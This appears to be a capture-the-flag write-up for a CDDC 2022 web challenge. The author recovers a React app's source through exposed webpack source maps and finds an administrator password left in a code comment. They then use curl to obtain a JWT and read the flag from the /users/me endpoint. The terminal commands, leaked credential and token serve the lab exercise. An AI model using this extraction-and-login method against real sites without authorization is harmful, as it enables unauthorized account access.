In web development terms, SPA stands for Single Page Application. This means that the entire webpage & code is loaded all at once. The code is generally bundled in a single file or a similar method using something like webpack.

On loading the webapp, the icon for the webpage is React, suggesting that it uses React (A Javascript Framework mainly for Single Page Applications), and it is an SPA. The Web page then asks you to login.

Image description

My first thought was to Google on how to get the source code from SPAs. This lead me to https://github.com/rarecoil/unwebpack-sourcemap, a tool to get the source code from SPAs bundled using webpack (like React Apps).

┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/
.git/                   README.md               unwebpack_sourcemap.py
.gitignore              example-react-ts-app/
LICENSE                 requirements.txt
┌──(kali㉿localhost)-[~]
└─$ cd Documents/cddc2022/unwebpack-sourcemap/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ mkdir output

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ --detect "--detect "http://localhost:3000/" output^Coutput

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ ./unwebpack_sourcemap.py --detect "http://54.254.185.105:5959/#/login" output
Detecting sourcemaps in HTML at http://54.254.185.105:5959/#/login
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/bundle.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/0.chunk.js.map
Detected sourcemap at remote location http://54.254.185.105:5959/static/js/main.chunk.js.map
Writing bootstrap...
Writing extends.js...
Writing index.js...
Writing index.js...
Writing xhr.js...
Writing axios.js...
Writing Cancel.js...
Writing CancelToken.js...
Writing isCancel.js...
Writing Axios.js...
Writing InterceptorManager.js...
Writing buildFullPath.js...
Writing createError.js...
Writing dispatchRequest.js...
Writing enhanceError.js...
Writing mergeConfig.js...
Writing settle.js...
Writing transformData.js...
Writing defaults.js...
Writing bind.js...
Writing buildURL.js...
Writing combineURLs.js...
Writing cookies.js...
Writing isAbsoluteURL.js...
Writing isAxiosError.js...
Writing isURLSameOrigin.js...
Writing normalizeHeaderName.js...
Writing parseHeaders.js...
Writing spread.js...
Writing utils.js...
Writing arrayWithHoles.js...
Writing assertThisInitialized.js...
Writing classCallCheck.js...
Writing createClass.js...
Writing defineProperty.js...
Writing getPrototypeOf.js...
Writing inherits.js...
Writing objectWithoutProperties.js...
Writing objectWithoutPropertiesLoose.js...
Writing possibleConstructorReturn.js...
Writing setPrototypeOf.js...
Writing typeof.js...
Writing iterableToArrayLimit.js...
Writing nonIterableRest.js...
Writing slicedToArray.js...
Writing index.js...
Writing templates.js...
Writing conversions.js...
Writing index.js...
Writing route.js...
Writing index.js...
Writing css-base.js...
Writing index.js...
Writing history.js...
Writing hoist-non-react-statics.cjs.js...
Writing inherits_browser.js...
Writing browser.js...
Writing index.js...
Writing json3.js...
Writing index.js...
Writing punycode.js...
Writing index.js...
Writing index.js...
Writing browser.js...
Writing checkPropTypes.js...
Writing factoryWithTypeCheckers.js...
Writing index.js...
Writing ReactPropTypesSecret.js...
Writing has.js...
Writing decode.js...
Writing encode.js...
Writing index.js...
Writing index.js...
Writing formatWebpackMessages.js...
Writing launchEditorEndpoint.js...
Writing index.js...
Writing index.js...
Writing webpackHotDevClient.js...
Writing react-dom.development.js...
Writing index.js...
Writing index.js...
Writing react-is.development.js...
Writing index.js...
Writing BrowserRouter.js...
Writing HashRouter.js...
Writing Link.js...
Writing MemoryRouter.js...
Writing NavLink.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing index.js...
Writing matchPath.js...
Writing withRouter.js...
Writing MemoryRouter.js...
Writing Prompt.js...
Writing Redirect.js...
Writing Route.js...
Writing Router.js...
Writing StaticRouter.js...
Writing Switch.js...
Writing generatePath.js...
Writing matchPath.js...
Writing withRouter.js...
Writing react.development.js...
Writing index.js...
Writing index.js...
Writing resolve-pathname.js...
Writing scheduler-tracing.development.js...
Writing scheduler.development.js...
Writing index.js...
Writing tracing.js...
Writing entry.js...
Writing close.js...
Writing emitter.js...
Writing event.js...
Writing eventtarget.js...
Writing trans-message.js...
Writing facade.js...
Writing iframe-bootstrap.js...
Writing info-ajax.js...
Writing info-iframe-receiver.js...
Writing info-iframe.js...
Writing info-receiver.js...
Writing location.js...
Writing main.js...
Writing shims.js...
Writing transport-list.js...
Writing abstract-xhr.js...
Writing eventsource.js...
Writing websocket.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing iframe.js...
Writing jsonp-polling.js...
Writing ajax-based.js...
Writing buffered-sender.js...
Writing iframe-wrap.js...
Writing polling.js...
Writing sender-receiver.js...
Writing eventsource.js...
Writing htmlfile.js...
Writing jsonp.js...
Writing xhr.js...
Writing jsonp.js...
Writing xdr.js...
Writing xhr-cors.js...
Writing xhr-fake.js...
Writing xhr-local.js...
Writing websocket.js...
Writing xdr-polling.js...
Writing xdr-streaming.js...
Writing xhr-polling.js...
Writing xhr-streaming.js...
Writing browser-crypto.js...
Writing browser.js...
Writing escape.js...
Writing event.js...
Writing iframe.js...
Writing log.js...
Writing object.js...
Writing random.js...
Writing transport.js...
Writing url.js...
Writing version.js...
Writing browser.js...
Writing common.js...
Writing addStyles.js...
Writing urls.js...
Writing browser.js...
Writing tiny-invariant.esm.js...
Writing tiny-warning.esm.js...
Writing index.js...
Writing url.js...
Writing util.js...
Writing value-equal.js...
Writing warning.js...
Writing amd-options.js...
Writing global.js...
Writing module.js...
Writing index.css...
Writing App.js...
Writing AuthStore.js...
Writing CreateAccount.js...
Writing Home.js...
Writing Login.js...
Writing UserService.js...
Writing index.css02e3...
Writing index.js...

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ 
Enter fullscreen mode Exit fullscreen mode

Afterwards I looked through the file directory

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap]
└─$ cd output/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ ls
app  src

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output]
└─$ cd src/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ ls
index.css02e3

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/src]
└─$ cd ../app/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ ls
front-end

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app]
└─$ cd front-end/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ ls
node_modules  src  webpack

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end]
└─$ cd src/

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ ls
App.js        CreateAccount.js  Login.js        index.css
AuthStore.js  Home.js           UserService.js  index.js

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
Enter fullscreen mode Exit fullscreen mode

After that I read some files, most notably are the ones regarding the Login System.

  1. The Login.js has a comment {/\* UnCr@ck@b|3-P@$$W()rd \*/}
    1. Since they ask for you to login to the administrator account, you can guess that the username is administrator
  2. The 2nd file, UserService.js, shows that there are 3 endpoints
    1. 1 to register user
    2. /users/login POST to get login token
    3. /users/me to get the name?
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat Login.js
import React, {Component} from 'react';
import AuthStore from "./AuthStore";
import UserService from "./UserService";

class Login extends Component {
    constructor(props) {
        super(props);
        this.state = {
            username: '',
            password: '',
            loading: false,
            errorMessage: undefined
        };
    }

    handleLoginResponse = (response) => {
        if (response.data && response.data.token) {
            AuthStore.saveToken(response.data.token);
            this.props.history.push("/")
        } else {
            this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
        }
    };

    handleLoginError = (err) => {
        if (err.response && err.response.status === 400)
            this.setState({loading: false, errorMessage: err.response.data.message});
        else
            this.setState({loading: false, errorMessage: 'Error logging in. Try again later.'});
    };

    login = (event) => {
        event.preventDefault();
        this.setState({loading: true});
        UserService.login(this.state.username,
            this.state.password,
            this.handleLoginResponse,
            this.handleLoginError);
    };

    handleChange = (event) => {
        this.setState({
            [event.target.id]: event.target.value
        });
    };

    render() {
        const loadingDiv = this.state.loading &&
            <div className="d-flex align-items-center justify-content-center overlay">
                <div className="spinner-border text-primary" role="status"/>
            </div>;

        const errorMessageDiv = this.state.errorMessage &&
            <div className="text-danger mb-2">{this.state.errorMessage}</div>;

        return (
            <div className="d-flex flex-column h-100 align-items-center justify-content-center">
                {loadingDiv}
                <form className="flex-column w-25">
                    <h1 className="h3 mb-3 font-weight-normal">Login</h1>
                    {errorMessageDiv}
                    <input autoComplete="off" type="username" id="username" className="form-control mb-3"
                           placeholder="Username" value={this.state.username} onChange={this.handleChange}/>
                    <input type="password" id="password" className="form-control mb-3" placeholder="Password"
                           value={this.state.password} onChange={this.handleChange}/>{/* UnCr@ck@b|3-P@$$W()rd */}
                    <button className="btn btn-lg btn-primary btn-block" type="submit" onClick={this.login}>
                        Submit
                    </button>
                </form>
            </div>
        );
    }
}

export default Login;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ 
Enter fullscreen mode Exit fullscreen mode
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat UserService.js
import axios from 'axios'

class UserService {
    static login(username, password, successCallback, errorCallback) {
        axios.post('/users/login', {
            username: username,
            password: password
        }).then(successCallback).catch(errorCallback);
    }

    static createAccount(username, password, successCallback, errorCallback) {
        axios.post('/users', {
            username: username,
            password: password
        }).then(successCallback).catch(errorCallback);
    }

    static loadCurrentUser(successCallback, errorCallback) {
        axios.get('/users/me').then(successCallback).catch(errorCallback);
    }
}

export default UserService;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ 
Enter fullscreen mode Exit fullscreen mode

This file, AuthStore.js, Shows that you have to put the token in the Authorization header of the request to the backend server to work

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ cat AuthStore.js
import axios from "axios/index";

class AuthStore {
    static TOKEN_NAME = 'token';

    static isLoggedIn() {
        return localStorage.getItem(this.TOKEN_NAME) !== null;
    }

    static saveToken(token) {
        localStorage.setItem(this.TOKEN_NAME, token);
        axios.defaults.headers.common['Authorization'] = `Bearer ${token}`;
    }

    static removeToken() {
        localStorage.removeItem(this.TOKEN_NAME);
    }

    static getToken() {
        return localStorage.getItem(this.TOKEN_NAME)
    }
}

export default AuthStore;
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
Enter fullscreen mode Exit fullscreen mode

I tried logging in with administrator:UnCr@ck@b|3-P@$$W()rd, which worked. However, the homepage looked empty

Image description

I tried accessing the endpoints manually with curl, by logging in, and accessing /user/me, and discovered the flag

┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Content-Type: application/json' http://54.254.185.105:5959/users/login -d '{ "username":"administrator", "password":"UnCr@ck@b|3-P@$$W()rd"}'
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$ curl -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJhZG1pbmlzdHJhdG9yIiwiaWF0IjoxNjU1OTUwNTI0LCJleHAiOjE2NTY1NTUzMjR9.kq6yuPlogXOAc87H5xJyX4te8DfNsco1WTcKZOiv2vw' http://54.254.185.105:5959/users/me
{"flag":"CDDC22{50urc3_m4p_15_h1dd3n_g3m}"}
┌──(kali㉿localhost)-[~/Documents/cddc2022/unwebpack-sourcemap/output/app/front-end/src]
└─$
Enter fullscreen mode Exit fullscreen mode

CDDC22{50urc3\_m4p\_15\_h1dd3n\_g3m}

Top comments (0)